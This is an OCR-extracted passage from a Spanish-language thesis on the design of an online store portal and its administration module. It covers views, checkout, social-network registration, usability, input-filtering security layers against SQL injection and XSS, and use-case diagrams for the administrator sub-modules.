getPaymentTypes(Entrada: Ninguna; Salida: Tipos de pago): Devuelve todos los tipos de
pago disponibles.

getPreviousBillingInfo(Entrada: Ninguna; Salida: Informacién de pagos existente):
Utilizando la variable global SconsumerlD, devuelve las formas de pago que el
consumidor haya utilizado con anterioridad.

getPreviousShippingInfo(Entrada: Ninguna; Salida: Informaciéon de envios existentes):
Utilizando la variable global SconsumerID, devuelve las direcciones de envio que el
consumidor haya utilizado con anterioridad.

getProductFromltem(Entrada: Item; Salida: Producto): Dado un identificador de item,
devuelve la informacidn total del producto asociado.

getShippingType(Entrada: Identificador de tipo de envio; Salida: Informacion completa

de envio): toda la informacidn asociada.
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3. Vistas. Las vistas asociadas son las siguientes:

a. Pdgina principal. La pagina principal mostrard lo expuesto en la llustracién 43.

llustracién 43. Vista para pagina principal.

1 Todas la= categorias

Libres L LAY DL
Laduhares :
han anit his 48 e rfveres mesin®

OFERTAS!
u |-'-r|~:I||"| Profusdics

||

Fifliens | Rnobor Pyingorabt Randbonk

40 Pr—

Siguiendo la numeracidn de la llustracion 43:

1. El menu de navegacidn, en la pagina principal mostrara todas las categorias de nivel mas
alto, sin mostrar ninguna subcategoria.

2. Ellistado de productos, en las paginas principal se muestra un listado de productos.

3. El area reservada para el carrito de compras, en esta vista el usuario no ha sido
autenticado.

4. Barra de navegacidn, muestra que la pagina actual es la pagina uno, y que existen dos

paginas mas de contenido.

b. Ver categoria. En la llustracién 44 se muestra la vista para el caso de uso “Ver
Categoria”, el numeral uno en la llustracion representa la navegacion de categorias,

subrayado se encuentra la categoria actual que se estd explorando, en el ejemplo es “Libros”,
como se puede observar en la parte superior del marco con el nimero dos, y debajo de “Libros”
se encuentran dos subcategorias, “Varios” y “Ficcion”, en el cuadro marcado con el niumero tres

se observa que se esta navegando la pdgina uno de dos posibles paginas de resultados.
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llustracién 44. Vista para caso de uso “Ver categoria”.

1 Libros 2

« Inicio
Libros
Varios

GRAND DESIGN

Fiecion When and how did the universe begin?

2 E Pride and Prejudice

Jane Austen

. Rotor Flyingcraft Handbook

w

Un manual de rotor fiyingeraft,

3 12 Siguiente >

c. Buscar producto. En la parte superior de cualquier vista del mddulo se
encontrara una barra de busqueda que permitird encontrar productos en la tienda.

Se tendra la opcidn de buscar en alguna categoria especifica o de buscar en todas las categorias.

[lustracion 45. Barra de busqueda de productos.

‘Libros v Buscar

Después de haber ingresado el nombre o la descripcion de algin producto para buscar, se

mostraran los resultados de la busqueda en la forma que se muestra en la llustracién 46:

llustracion 46. Busqueda de productos.

1 Buscando "Blackberry” 2

1 E Blackberry Curve 3

Blackberry Curve

Blackberry

Blackberry Torch

El nuevo celular de blackberry

La llustraciéon 46 muestra una vista de busque de productos, el termina que se buscé fue
" i
Blackberry” como se muestra en el recuadro dos, en el recuadro uno se encuentran las

categorias que contengan productos que contengan el término buscado en su nombre o
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descripcién, y en el recuadro tres se muestran los productos que se encontraron, en amarillo se

resalta el término que se fue buscado.

d. Registro. La vista para el caso de uso “Registro” no representa estrictamente
una nueva vista, pues la forma utilizada para el registro aparecera sobre cualquier

vista como una ventana flotante.

llustracion 47. Vista para caso de uso “Registro”.

Registro
{ [Informacién Personal Registro con redes sociales it
Nombre y apeliido: 1 2
K] facebook
| [emait YaHoo! | Google
| D Blogger | i\Y WornPrEss
Contrasefa:

o

Repetir contraseiia:

e

Reqgistrar Limpiar

El recuadro uno muestra la informacién necesaria para registrar a un nuevo consumidor

en la tienda, se le solicitara la siguiente informacion:

- Nombre y apellido
- Email o correo electrénico
- Contrasefa (dos veces)
En el recuadro dos se muestra un listado de sitios alternativos que el usuario puede
utilizar como alternativa a crear una cuenta del sitio de la empresa, este proceso es detallado en

la siguiente seccion.

e. Registro con redes sociales. Una de las razones por las cuales sitios de venta

en linea o sitios que requieran registro fracasan o tengan poca aceptacion, es



113

porque poseen un proceso de registro tedioso o poco amigable, por este motivo es que durante
el proceso de registro se pide al usuario la minima informacion necesaria para permitirle
comenzar a comprar, informacién para envio de érdenes y pagos se solicitard Unicamente
durante el proceso de checkout. La segunda opcidn es el registro con sitios de redes sociales o
correo electrdnico, si un consumidor no desea registrarse en el sitio pero ya tiene una cuenta
registrada en Facebook, Twitter, Yahoo, Google, Blogger o Wordpress, podra utilizar su cuenta
existente en esos sitios para registrarse y comprar en la tienda. Para este propdsito se utilizo el

API de Gigya descrito en la seccion 6 del marco tedrico.

Al presionar alguno de los botones del recuadro dos de la llustracion 47, aparecerd una
ventana emergente del sitio que se selecciond, en el cual se le pedird al usuario que ingrese su
informacién de acceso para dicho sitio y se solicitard confirmacién para que la tienda tenga

acceso a su informacion. La llustracion 48 muestra dichas ventanas para Yahoo y Twitter.
llustracion 48. Pantallas de autenticacidon para Yahoo y Twitter.

YaHOO! A

Gigya Examples 75, | Aro you protectod?

@

| creste your sgn-n sea:
Why?

Sign in with your Twitter account

tion Gigya Examples by Gigya would ke informabon with Yahoo!

About Gigya Examples

Cancel | Signin o ¢ Sanse camouia

Sign in

Después de autenticarse en el sitio que el consumidor haya seleccionado, el recuadro dos
de la llustracidn 48 cambiard al de la llustracidn 49, pidiendo al usuario un correo electrénico vy si

este es vdlido, se completara el proceso de registro y el usuario se autenticara inmediatamente.

[lustracidn 49. Vista de finalizacion de proceso de registro con redes sociales.

Registro con redes sociales

Por favor ingrese una direccion de correo de
contacto para completar su registro:

Registrar Cancelar
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En el area del carrito de compras se puede observar que el cliente se ha autenticado en el
sitio, dando un mensaje de bienvenida, y en este caso indicando que no ha agregado ningun

producto a su orden.

llustracién 50. Area de carrito de compras actualizada, el consumidor ya ha sido autenticado en
la tienda.

g Bienvenido, Luis
el Su carrito esta vadio.

f. Autenticacidn. La llustracion 51 muestra la vista para el caso de uso de
autenticacion, nuevamente esta es una ventana flotante al igual que para el caso

de uso de registro, en el recuadro uno se pide al usuario su correo electrénico y su contrasefia, y
en el recuadro dos se muestran las mismas opciones de autenticacidén con redes sociales que se
muestran en la vista de registro. Si el consumidor ya estd registrado con un sitio de redes
sociales y ha registrado su correo electrénico en la tienda, solo tendrd que autenticarse en el

sitio de su eleccidn y automaticamente se encontrara autenticado en la tienda.

[lustracion 51. Vista para autenticacién de consumidores.

B

Autenticacion
Email: Autenticacion con redes sociales:
ﬂfacebonk
Contrasefia: YaroO! | Google
D Blogger = i\V WornPress

Autenticar

Registro | éContrasena extraviada? 3

Si el consumidor nunca se ha registrado, y selecciona un sitio de red social, el proceso serd
el mismo que el de registro, se autenticara en el sitio que haya elegido, dard permiso a la

aplicacion, e ingresara su correo electrénico en la tienda para completar el proceso.

En el recuadro tres se presentan dos opciones al usuario, si no ha creado una cuenta puede

presionar el botén de “Registro” y se abrira la vista de la llustracién 47, o podra presionar la
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opcidn de “éContrasefia extraviada?”; si utilizé el proceso de registro de la tienda y ha olvidado
su contrasefia, aparecera la vista de la llustracion 52. Si el consumidor se registré utilizando Ia
opcidn de redes sociales, se esperard que utilice el proceso de recuperacidon de contrasefias de

dichos servicios.

llustracién 52. Vista para caso de uso “Recuperacién de contrasefia”.

Recuperacién de contrasefia

Ingrese su correo electrénico:

| Recuperar

El consumidor ingresard la direccion de correo electrénico que haya registrado en su
cuenta, su contrasefia antigua sera reemplazada por una nueva contrasefia que generard el
sistema y la contrasefia serd enviada al correo especificado. Las contrasefias en el sistema no se
almacenan como son ingresadas en las formas, se almacenan en forma encriptada, por lo que no

es posible enviar al consumidor la contrasefia antigua.

g. Ver producto. Esta es la vista que le permitira a un usuario ver toda la

informacién referente a un producto y agregarlo a su carrito de compras.

llustracion 53. Vista de producto.

Inicio > Ropa > Camisas 1

Color: Seleccionar v
Tipo Manga: Seleccionar v 6

Camisa de algodon

ng& / > Agregar

Productos Relacionados 8

Camisa Azul Camisa 170D

Q56.00 Q200.00
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De acuerdo a la numeracién de la llustracién 53:

1. Muestra el breadcrumb o la migaja de pan del producto, es decir, la jerarquia de
categorias en la cual estd situado el producto.

2. Lla imagen del producto, es posible agrandar la imagen y ver otras imagenes que el
producto tenga asociadas.

3. Elnombre del producto.

4. El precio del producto, para este caso particular, al producto se la ha especificado un
descuento, y se muestra el precio original del producto.

5. Precio en oferta del producto.

6. Es posible que el producto tenga atributos extra que se deban seleccionar antes de
agregar el producto al carrito de compras, en este caso, el ejiemplo muestra una camisa,
y se deberad seleccionar el color y tipo de manga.

7. Espacio en el que el consumidor especificara la cantidad de del producto que desea
agregar a su carrito de compras.

8. Los productos relacionados al producto que se esté viendo, en la llustracion 33 se

muestran otros productos dentro de la categoria “Camisas”.

En la llustracién 54 el producto de ejemplo posee atributos extras que deban ser
seleccionados antes de agregarlo al carrito, es posible que algunos de los atributos representen

un costo adicional para el producto. La llustracién 36 muestra la vista descrita:

[lustracion 54. Vista de producto con atributos extra y precio ofertado.

Color: Negro v
Tipo Manga: Manga Larga v

Camisa de algodon

Agregar

Como se observa en la llustracion 54, se seleccioné una camisa de color negro y de manga
larga, lo cual representa un costo extra de Q15.00 sobre el precio de oferta, totalizando Q19.00

como el precio de la camisa.
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Es posible mostrar una pequefia galeria de las imagenes que tenga asociado un producto, al
presionar la imagen del producto se mostrara una ventana flotante con una foto de tamafio
completo del producto. De acuerdo a la numeracidn de la llustracién 55, la flecha con el numero
uno mostrard la imagen anterior del producto, el cuadro con el nimero dos cerrara la venta
flotante y se regresara a la vista normal del producto, y la flecha tres mostrara la siguiente

fotografia.

llustracion 55. Pequefia galeria de productos.

Después de haber seleccionado los atributos extra (si existieran) y la cantidad de productos
deseados, el producto ya aparecera en el carrito de compras, como se muestra en la llustracién

56.

[lustracidon 56. Carrito de compras con productos agregados.

P Bienvenido, Luis
el ¢+ 3 x Camisa (Megro Manga
Larga )
Subtotal: Q57,00

CHECKOUT

h Checkout. La vista de checkout comienza el proceso de completar una orden
para que esta sea procesada. El carrito de compra se muestra en todas las vistas del
madulo, y si se agregado productos, aparecera un botdon de “Checkout” en la parte inferior del

carrito. Al presionar el botdn se llegara a la pantalla de la llustracién 57:



118

llustracién 57. Vista de confirmar productos.

Paso 1. Confirmar Productos

Productos Precio Unitario Cantidad Subtotal Accién
GRAND DESIGH Q450.00 1 Q450.00 Eliminar
Blackberry Curve Q1000.00 2 Q2000.00 Eliminar

Subtotal: ©Q2450.00
Continuar

La columna “Productos” muestra los productos que hayan sido agregados al carrito de
compras, si el producto tuviese atributos extra asociados estos también se mostraran. La
columna “Precio Unitario” muestra el precio unitario de cada producto, si el producto estuviera
en descuento o incurriera en algun precio adicional por poseer atributos extra, ese costo ya se
encontrara incluido en el precio individual. La columna “Cantidad” indicara las unidades del
producto que se seleccionaron, estos campos son modificables y si se hace alguna modificacion
en las cantidades, el nuevo precio se vera reflejado automaticamente en las columnas de
subtotal y en el subtotal en la parte inferior de la vista. La columna de “Subtotal” muestra el
precio unitario multiplicado por la cantidad especificada del producto. La columna “Accién”
contiene un enlace que le permitira al consumidor eliminar el producto de la orden. Cuando el
consumidor este de acuerdo con los productos en su carrito debera presionar el enlace de

“Continuar”.

[lustracidon 58. Vista para caso de uso “Confirmar informacion de envio”.

Paso 2. Confirmar Informacion de Envio
Tipoe de Envio:
(©) FedEx: Envio en 1-2 dias habiles.

@ Cargo Express: Envio en 3-5 dias habiles.

Nueva Informacion de Envio:

Nombre Completo: El Maiz

Direccidn: Manzana J, Calle 10, Avenida El Maiz

Ciudad: Guatemala

Estado/Provinda/Region: Guatemala

Cddigo Postal: 0101

Pais: Guatemala A
Teléfono 45257964

Continuar
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La vista de la llustraciéon 58 muestra la informacién que el consumidor debe proveer
referente a la informacién de envio, debera seleccionar el tipo de envio, y llenar la siguiente

informacidn:

a) Nombre completo

b) Direccidn

¢) Ciudad

d) Estado, provincia o region
e) Cddigo postal

f) Pais

g) Teléfono

Después de ingresar esta informacidn podra presionar el botén de “Continuar” y proceder a

ingresar la informacidén de pago y facturacion.

En el tercer paso en el proceso de checkout el consumidor deberd especificar el tipo de
pago que desee utilizar, nétese que los pagos con PayPal o tarjeta de crédito son
completamente simulados, pues la implementacidn real de los mismos sale del alcance del
proyecto. Si se selecciona pago con tarjeta de crédito el consumidor deberd ingresar el nombre
en la tarjeta, el nimero de la tarjeta, y la fecha de vencimiento, no serd posible continuar el
proceso si la fecha de expiraciéon de la tarjeta es menor que la fecha en que se esté realizando la
orden. Se da la opcion al consumidor de utilizar la informacién que ingreso de envio como
direccion de facturaciéon, si no lo desea asi podrd llenar la informacién de facturacién por
separado. Después de llenar la informacion de pago el consumidor puede presionar el enlace de

“Continuar” y se le presentara un resumen de la informacion de su pedido.

[lustracidon 59. Vista para caso de uso “Confirmar informacion de pago”.

Paso 3. Confirmar Informacion de Pago

ngrese informacién de Larieta de credmo
4444444442444044
Diego da 12 Vaga

Mazo = 2014+

Continuar
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La llustraciéon 60 muestra la vista del ultimo paso del proceso de checkout, el caso de uso

para “Confirmar Pedido”:

llustracién 60. Vista para caso de uso “Confirmar Pedido”.

Paso 4. Confirmar Pedido

Productos

Q2000.00

Subtotal: Q2450.00

Informacién de Pago

Nimero:
cha d

Recargo: Q0.00

Informacién de Envio y Facturacién

Diego de la Vega

Manzana J, Calle 10, Averida Bl Maiz

Guatemala, Guatemala, 0101

Guatemala

Teléfono: 45257064

Tipo de Envio: Cargo Express (Envio en 3-5 dias habiles.)
Recargo: Q0.00

Total: Q2450.00

Por favor revise la informacion anterior y presione CONFIRMAR.
Tambien puede confirmar nuevamente los productos de su orden.

Se muestra un resumen de los productos y su subtotal, la informacién de pago, envio y
facturacion, cuando el usuario esté listo, deberd presionar el enlace de “Confirmar”.  Este es

el ultimo paso antes de que la orden finalice y pueda ser procesada.

Como ultimo paso en el proceso de checkout se mostrard al consumidor un mensaje

indicando que se ha enviado un correo de confirmacién a la direccién con la que se registré.

i. Micrositio. El sitio mostrara la descripcidon de la empresa, su misidn y su vision,
toda esta informacion fue definida durante la creacidn del portal en el médulo de

generador.

llustracion 61. Ejemplo de micrositio.

;Quienes Somos?

Lesam ipsum dolor sit smet, consactatur sdipiabeing ollt. sad do ahwsmod tempor Incid
magna alqua. Ut enim ad ménim veniam. quis nostrud exe ul
oo 5 aule | 4

ickant wt labore 8t dolore
a o

con
Ex

Nuestra Vision

Les
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j. Navegacion. La llustracion 62 muestra cdmo estdn conectadas las vistas del
madulo de portal de ventas en linea, cuales vistas pueden ser accedidas Unicamente

desde otras vistas, y cudles pueden ser accedidas desde cualquier vista.

[lustracion 62. Navegacion de sitio.

O

Pagina Principal

O—0

Ver Categoria Ver Producto

1

Ver Subcategeria

[ )

]
.
1

shs
Zis

Todas las paginas

Registro Autenticacion Checkout Busqueda de
i Productos

0

Recuperar Informacién
Contrasena de Envio

0—0

Informacién Confirmar
de Pago Orden

4. Diseflo de componentes. La reutilizacion de cddigo es un factor clave para
cualquier sistema; para el médulo de portal de ventas en linea muchas de las vistas
comparten elementos visuales como mendus, la barra de busqueda, incluso ciertos segmentos de

codigo de javascript que son clave para todas las vistas del sistema.

Los componentes son segmentos cortos (menos de cincuenta lineas) de cédigo HTML o
PHP, que seran llamados por los archivos de vista para formar una pagina y que a su vez haran
uso de métodos definidos en los controladores para desplegar informacién relevante para el

usuario.
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[lustracion 63. Distribucidn de componentes en la vista de pdagina principal.

1 Todas las caleonas  — 1 .1 Buscar = B . 5 - =l

= I

Todas las categorias " s Ll
- 3 (B 4
2 - ;

Home: | Biew Products | Special Gffers | My Aocoent | ;r.ancu.n | Locations | FAd | Contact Us | Frivacy Pobcy | Terms of U

Siguiendo los recuadros y numeracién de la llustracion 63:

El encabezado de las vistas, contendra el logotipo de la empresa y a los componentes
1.1y 1.2.

1.1 La barra de busqueda.

1.2 El menu horizontal que aparece en la parte superior de todas las vistas.

El menud de navegacidon de categorias, en la pdgina principal mostrard todas las
categorias de nivel mas alto, y al seleccionar cualquiera de estas categorias se mostraran
sus subcategorias.

El listado de productos, es parametrizable para que muestre productos dentro de ciertas
categorias o para la busqueda de productos especificos.

El carrito de compras, mostrara todos los productos que se hayan agregado a la orden y
contendrd el enlace a comenzar el proceso de checkout.

El pie de pagina de las vistas, principalmente almacenara enlaces al sitio oficial del

Megaproyecto y al indice del portal de ventas.

También existen componentes opcionales que aparecerdn en algunas de las vistas; estos

componentes son configurables mediante el mddulo de administracién de empresas. Siguiendo

la numeracion de los recuadros de la llustracion 64:

1.
2.

Anuncio de publicidad nimero uno, esta restringido a un tamafio de 172 x 200 pixeles.

Enlace a cuenta de Twitter de la empresa que alquila la tienda.



123

3. Enlace a cuenta de Facebook de la empresa que alquila la tienda.

4. Anuncio de publicidad niumero dos, estd restringido a un tamafio de 218 x 100 pixeles.

llustracién 64. Componentes opcionales en la pagina principal del portal de ventas.

]
Pro U_@S‘[ Todaslas categorias  ~ Buscar

—

iy home productos informacion gin shopping cart registrar faq ontactenos rss

Libros
Celulares

I B siauenos enTuitter

OFERTAS! 2
2 Pride and Prejudice 1

F o Hazte fan en Facebook

L8] sane usten 3

~, Rotor Flyinqcraft Handbook NUEVOS
e 0800.00 LIBROS

*" Un manual de rotor fiyingeraft.

123 Siquiente »

Las ventanas flotantes para registro, autenticacion y contrasefia extraviada también son
componentes y forman parte de todas las paginas aunque no se encuentren visibles todo el

tiempo.

5. Usabilidad. Una aplicacién que sea amigable con el usuario y ayude a completar un
proceso es preferible a una que lo entorpezca u ofrezca poca ayuda cuando el usuario la
necesite. Para esto, se tomaron en cuenta los siguientes aspectos al diseiiar las vistas del
madulo de portal de venta en linea:
- Labarra de busqueda de productos se encuentra visible en todas las vistas.
- El carrito de compras y su contenido esta visibles en todas las vistas.
- El precio se muestra claramente a la par de todos los productos.
- Es posible buscar por categorias.
- Es posible la navegacién entre categorias.
- El botén que permite agregar productos al carrito de compras esta claramente visible en
la vista de productos.
- Existe un enlace al proceso de checkout en todas las vistas.
- Se muestran productos similares o complementarios.

- Los mensajes de error son claros y no intrusivos.
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Un punto importante para una experiencia fluida para el usuario es evitar que la pagina se
recargue en la manera de lo posible cuando se desea realizar alguna accién, y dado que la
pagina no se recargara, es importante dar al usuario algun tipo de retroalimentacidn visual para

que sepa que se estd realizando algun tipo de procesamiento.

Por ejemplo, en la vista de productos, al seleccionar la cantidad del producto deseado se
muestra el mensaje de la llustracion 65; haciéndole saber al usuario que la pdgina esta
trabajando.

[lustracion 65. Mensaje de espera para agregar productos.

Por favor espere...

El mensaje desaparecera cuando los productos hayan sido agregados al carrito de compras

y en la parte derecha de la vista se muestren los productos agregados.

La técnica utilizada para evitar que las paginas se recarguen por completo es conocida
como AJAX, en el que el subtotal de la orden se actualiza instantdneamente, igualmente al
eliminar un producto, la pagina no se recargard. También se utiliza en las ventanas flotantes

para los procesos de autenticacidn y registro.

También es importante informar al usuario cuando ha cometido un error, cdmo en la
[lustracidon 66, el consumidor ha intentado ingresar letras en el campo reservado para ingresar la

cantidad de productos y se muestra un mensaje de error indicando cudl ha sido el problema.

[lustracion 66. Mensaje de error al ingresar una cantidad no numérica.

Por favor ingrese un numero.

GRAND DESIGN m
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La llustracion 67 muestra en rojo que el usuario ha dejado algunos campos en blanco y que
deberd llenarlos correctamente si desea continuar, en este caso no seleccioné el tipo de envio y

ha dejado los campos de “Nombre Completo” y “Direccidon” en blanco.
u i0 . Vi i i0 i i0 vio.
llustracién 67. Campos en blanco en la vista de confirmaciéon de informacién de envio

Paso 2. Confirmar Informacion de Envio

Tipo de Enwio:

i

I_iFedEx: Envio en 1-2 dias habiles,

) Cargo Express; Envio en 3-5 dias habiles,
* Por favor seleccione el tipo de envio.

Nueva Informacion de Envio:

Nombre Completo: * Este campo es requerido.

Direccién: * Este campo es requerido.
Ciudad: Guatemala

Estado/Provincia/Region: Guatemala

Cédigo Postal: 010

Pais: Guatemala -

Teléfono 45257964

Continuar

6. Seguridad. Se definieron tres capas de seguridad en el médulo de portal de venta en

linea, cada una cumple una funcién distinta, reforzando confidencialidad o integridad.

a. Capa uno. La autenticacion de usuarios representa la primera capa de
seguridad de la aplicacidn, existen vistas y acciones a las que un usuario que no se
ha autenticado no tendrd acceso. Un usuario no autenticado tiene acceso Unicamente a las

siguientes acciones dentro del sitio:

- Ver categorias
- Ver productos
- Realizar busquedas

- Registro

Un usuario no autenticado no podra iniciar el proceso de checkout, ni agregar productos a
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un carrito de compras, estas restricciones introducen una barrera inicial de seguridad al sistema,

y refuerza el aspecto de confidencialidad del sistema.

El proceso de autenticacidn sigue la siguiente légica, asumiendo que ya se ha registrado en

el sitio:

- El usuario envia su correo electrdnico y su contrasefia a la base de datos.

- Si existe una entrada en la base de datos que coincida con la informacidn ingresada, el
usuario se considerard como autenticado, y se almacena en el sistema, en la base de
datos y en la computadora del usuario un pase que indica que el usuario se ha
autenticado en el sistema (una variable de sesidn, un registro en la base de datos y una
cookie).

- Si el usuario intenta acceder a una vista que requiera que esté autenticado el sistema
debera realizar los siguientes pasos:

e Si existe una variable de sesién para el usuario, confirmar que la sesién en el
sistema es la misma que la sesion en la base de datos, si es la misma, el usuario
se encuentra actualmente autenticado y se le permitira acceso al contenido que
desea ver. Nétese que las variables de sesién desaparecen del sistema una vez
el usuario ha salido del sitio, por eso es necesario también el siguiente paso.

¢ Si la variable de sesidn no existe, verificar la cookie, si la cookie posee el mismo
valor que estd almacenado en la base de datos, el usuario se encuentra
autenticado y se le permitird acceso al contenido deseado.

¢ Si no existe una variable de sesidén o una cookie, o si los valores que contengan
no coinciden con el valor de la base de datos, el usuario no estd autenticado y

no tendra acceso al contenido solicitado.

b. Capa Dos. La segunda capa de seguridad esta representada por la interfaz, y

ayudara a mantener la integridad y consistencia de la informacion en la base de

datos. Por ejemplo, como se menciond en la seccién de usabilidad de este capitulo, un
consumidor no podra especificar una cantidad no numérica, decimal o negativa cuando estd
intentado agregar productos al carrito de compras, o cuando quiera alterar las cantidades de los
productos durante el proceso de checkout. La interfaz también debera cuidar que en un campo

en el que se permita cualquier clase de texto, como una direccion, o una busqueda de
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productos, exista un limite de caracteres que se puedan ingresar, pues una direccién o una
busqueda podria ocasionar algln problema y abrir la puerta a alguna vulnerabilidad que podria

ser explotada por un ente malicioso que desee atacar y provocar algin dafio al sistema.

c. Capa tres. La tercera capa resguardara al aplicaciéon de aquello que las capas

una o dos no hayan sido capaces de filtrar, como cualquiera cadena de texto que

haya sido ingresada en un campo no numérico, cdmo algun texto en la caja de busqueda de
productos, una contraseiia, o alguna direccién durante el proceso de checkout. Esta capa al igual
gue la capa dos refuerza la integridad de la aplicacién. Para este propdsito, toda la informacion
que es enviada desde la interfaz (la vista) hacia el controlador, el filtrada para eliminar posibles
ataques de SQL injection o cross-site scripting (XSS), y cualquier valor que se espera sea un valor
numérico, como un numero de teléfono, una cantidad especifica de productos, o un cédigo

postal, es convertido explicitamente a un numero.

Las direcciones web que se utilizan para acceder al sitio también pueden ser utilizadas para
atacar una aplicacion, por ejemplo, la direccion http://www.shopcase.net/empresa
/products.php?id=1, solicita al sistema que se muestre el producto con identificador Unico
ndamero uno, si tal producto existe, la pagina se mostrara correctamente, si dicho producto no
existe, simplemente se regresara a la vista inicial de la tienda. Sin embargo, un atacante podria
utilizar la direcciéon web para intentar dafiar al sistema, por ejemplo podria utilizar la siguiente
direccién: http://www.shopcase.net/empresa/products.php?id=intento_de_ataque ; ya que
“intento_de_ataque” no se trata de un valor numérico, al hacer una solicitud a la base de datos
con dicho identificador esto podria causar un comportamiento no deseado en la aplicacidn, para
evitar dicho comportamiento, cualquier valor que sea enviado a la aplicacién a través de la
direccion web y se espera sea un valor numérico, sera convertido explicitamente a un numero, y
cualquiera valor que se espera sea una cadena arbitraria de caracteres sera reducida en tamafio

y filtrada para SQL injection o cross-site scripting.


http://www.shopcase.net/empresa%20/products.php?id=1
http://www.shopcase.net/empresa%20/products.php?id=1
http://www.shopcase.net/empresa/products.php?id=intento_de_ataque

IX. MODULO DE ADMINISTRACION DE EMPRESAS

A. Analisis

El médulo de administracion de las empresas esta dividido en once sub-mddulos diferentes
a los que el administrador del sitio tiene acceso dependiendo del nivel de permisos que el

administrador posea:

- Inicio de sesion

- Manejo de consumidores (clientes de la empresa que desean comprar articulos en la
pagina)

- Manejo de datos de la empresa

- Manejo de érdenes

- Manejo de catdlogo (categorias y productos)

- Herramientas (Manejo de publicidad)

- Panel de control

- Manejo de cuentas de administradores.

- Manejo de tipos de pago.

- Manejo de tipos de envio

- Modificar la apariencia.

1. Usuarios que pueden acceder al sistema . Los usuarios que pueden acceder al médulo de
administraciéon son personas que fueron registradas en la tabla users de la base de datos

como administradores de uno de los diferentes portales de venta en linea, luego de su
generacion o luego de haber sido registrado al sistema por otro administrador. El usuario debe
haber sido capacitado previamente para utilizar el sistema y debe tener conocimientos bdsicos

para utilizar el navegador.

2. Andlisis de requerimientos. El sub-médulo de inicio de sesion permite acceso al médulo
de administracién de empresas, al ingresar su correo electrénico y la contrasefia
correcta. En caso de ser incorrecta el usuario, recibe un mensaje de error y le es imposible

entrar al sistema.

128
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El sub-mddulo de manejo de consumidores permite al administrador el manejo de las
cuentas de las personas que estan registradas para comprar en el sitio de venta en linea. Estas
son todas las personas que han llenado el proceso de registro o han sido registradas por un
administrador del sitio. Comprende la creacién de nuevas cuentas, el bloqueo de cuentas ya

existentes y la modificacidn de los datos de los consumidores.

El sub-mddulo de manejo de d6rdenes le permite ver la informacién referente a los
diferentes pedidos realizados por los compradores, para saber si estos estdn en progreso, han
sido completados, cancelados, si ya fueron enviados, o ya han sido entregados. Ademas,
permite cambiar los estados de las 6rdenes. El administrador es capaz de modificar el estado de
la orden: de completada a enviada, de enviada a entregada, y de completada o enviada a

cancelada.

[lustracion 68. Diagrama de estados para una orden

Completade

Entregada

Cancelada

El sub-mddulo de datos de la empresa permite modificar la misidn, vision y logotipo de la

empresa.

El panel de control le permite al administrador ver un resumen de las estadisticas mas
importantes del sitio. Estas estadisticas consisten en los cinco productos mads vendidos en el
mes y las cinco categorias de productos mas vendidas. Es importante sefialar que este mddulo
no comprende la generacidon de estas estadisticas La generacidon de las estadisticas pertenece al

modulo de administracion interna.

El sub-mddulo de manejo de catdlogo permite al administrador organizar la presentacion
de los productos en el portal de venta en linea. Le es posible agregar nuevas categorias y dentro

de cada categoria es capaz de agregar varios productos. Es posible cambiar el nombre y la
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descripcién de las categorias. Ademas permite cambiar los datos de los productos asi como
asignarle varias fotografias a un producto para que los clientes puedan ver varias imdagenes del

mismo producto.

El sub-mddulo de manejo de cuentas de administradores permite a un administrador con
permisos de nivel 3, cambiar los permisos de los otros administradores con niveles inferiores,
crear nuevas cuentas de administradores y bloquear cuentas para evitar que puedan iniciar

sesidn en el sistema.

El sub-mddulo para el manejo de datos de la empresa permite a un administrador cambiar
el logotipo de la empresa, cambiar la descripcidon de la empresa, cambiar la misién de la

empresa y definir palabras clave de busqueda para su sitio.

En el sub-mdédulo de tipo de pago permite habilitar o deshabilitar modos de pago ya
existentes. Una empresa no puede crear libremente diferentes tipos de pago para su empresa,

estos deben estar previamente autorizados por la empresa Shopcase.

El sub-mddulo de tipos de envio permite agregar nuevos tipos al sitio de venta en linea,

cada tipo tiene asignado un precio extra, el cual se muestra al ver el detalle de cada orden

Por ultimo, el mddulo de herramientas permite al administrador el manejo de la publicidad
gue se mostrard en el portal de venta en linea. Le permite subir fotografias que serdn
desplegadas en lugares especificos del portal. El administrador es capaz de seleccionar hasta
dos fotografias para ser desplegadas en lugares dedicados del catdlogo mostrado a los

consumidores.

3. Diagramas de casos de uso . A continuacion se presentan los diagramas de casos de
uso que muestran la interaccion del administrador con los distintos sub-mddulos

anteriormente mencionados y las acciones que este puede realizar en el sistema.
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[lustracion 69. Diagrama de casos de uso del sub-mddulo de consumidores

Sub-moédulo
de consumidores

[

— /
N Consumidor

Administrado

Bloquear /desbloquear
cuenta de consumidor,

La llustracién 69, muestra las distintas operaciones que el administrador puede hacer en el
sub-médulo de consumidores. Este puede ver los datos de todos los consumidores, agregar a
un consumidor, modificar los datos almacenados de un consumidor, esto incluye la renovacién

de la contrasefia y poder bloquear o desbloquear la cuenta para ingresar al sitio.



[lustracion 70. Diagrama de casos de uso para el sub-méddulo de 6rdenes.

Sub-modulo de ordenes |

132

|

—

«extlgnds» P
Administrador 11 «ex%f:ds» «in‘c\uden
i
\ / N

]

\
i
| «incly »

Cambiar estado a orden entregada

En la llustracién 70 se muestran las acciones que puede realizar el administrador en el sub-

maodulo de érdenes: puede ver los datos generales de todas las drdenes, ver el detalle de una

orden especifica, cambiar los estados de una orden, esto incluye la cancelacién de una orden,

cambiar a estado de enviada y cambiar a estado de entregada.
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llustracion 71. Diagrama de casos de uso para el sub-mdédulo de herramientas

Sub-modulo de Herramientas

Seleccionar anuncio
principal de tipo 1

wextendsy

Seleccionar anuncio

wextendsy
- principal de tipo 2

G e

Administrador \

El sub-mddulo de herramientas permite ver los anuncios que estan activados en el portal

de venta en linea y permite agregar mds anuncios a la lista. Ademas posee la funcionalidad para

seleccionar los dos tipos de anuncios que serdn mostrados en el sitio.
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llustracién 72. Diagrama de casos de uso para el administrador de catalogo

Sub-modulo
de catalogo

«extends»sAnadir producto

5o a la categoria
[

«incliude»

Anadir fotografias extras,

i

«incl}.nde»

]

Administrab

Consumidor

Modificar datos de productos,

\
\
2N
«include»

\
\

\

N

Mostrar/ocultar producto

En la llustracién 72, se muestran todas las acciones que puede realizar el administrador en
este sub-médulo: primero, es capaz de navegar por las categorias que él cred para ver la
organizacién tiene los productos. Luego, permite afadir nuevas categorias ya sea dentro de otra

categoria o puede ser una categoria.
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[lustracion 73. Diagrama de casos de uso para el sub-médulo de configuracién de la empresa.

Sub-madulo de configuracion de la empresa |

Administrador

En la llustracion 73, se puede apreciar los distintos casos de uso que tiene un administrador
del portal de venta en linea. Estos incluyen la modificacion de: la misién y la visién de la
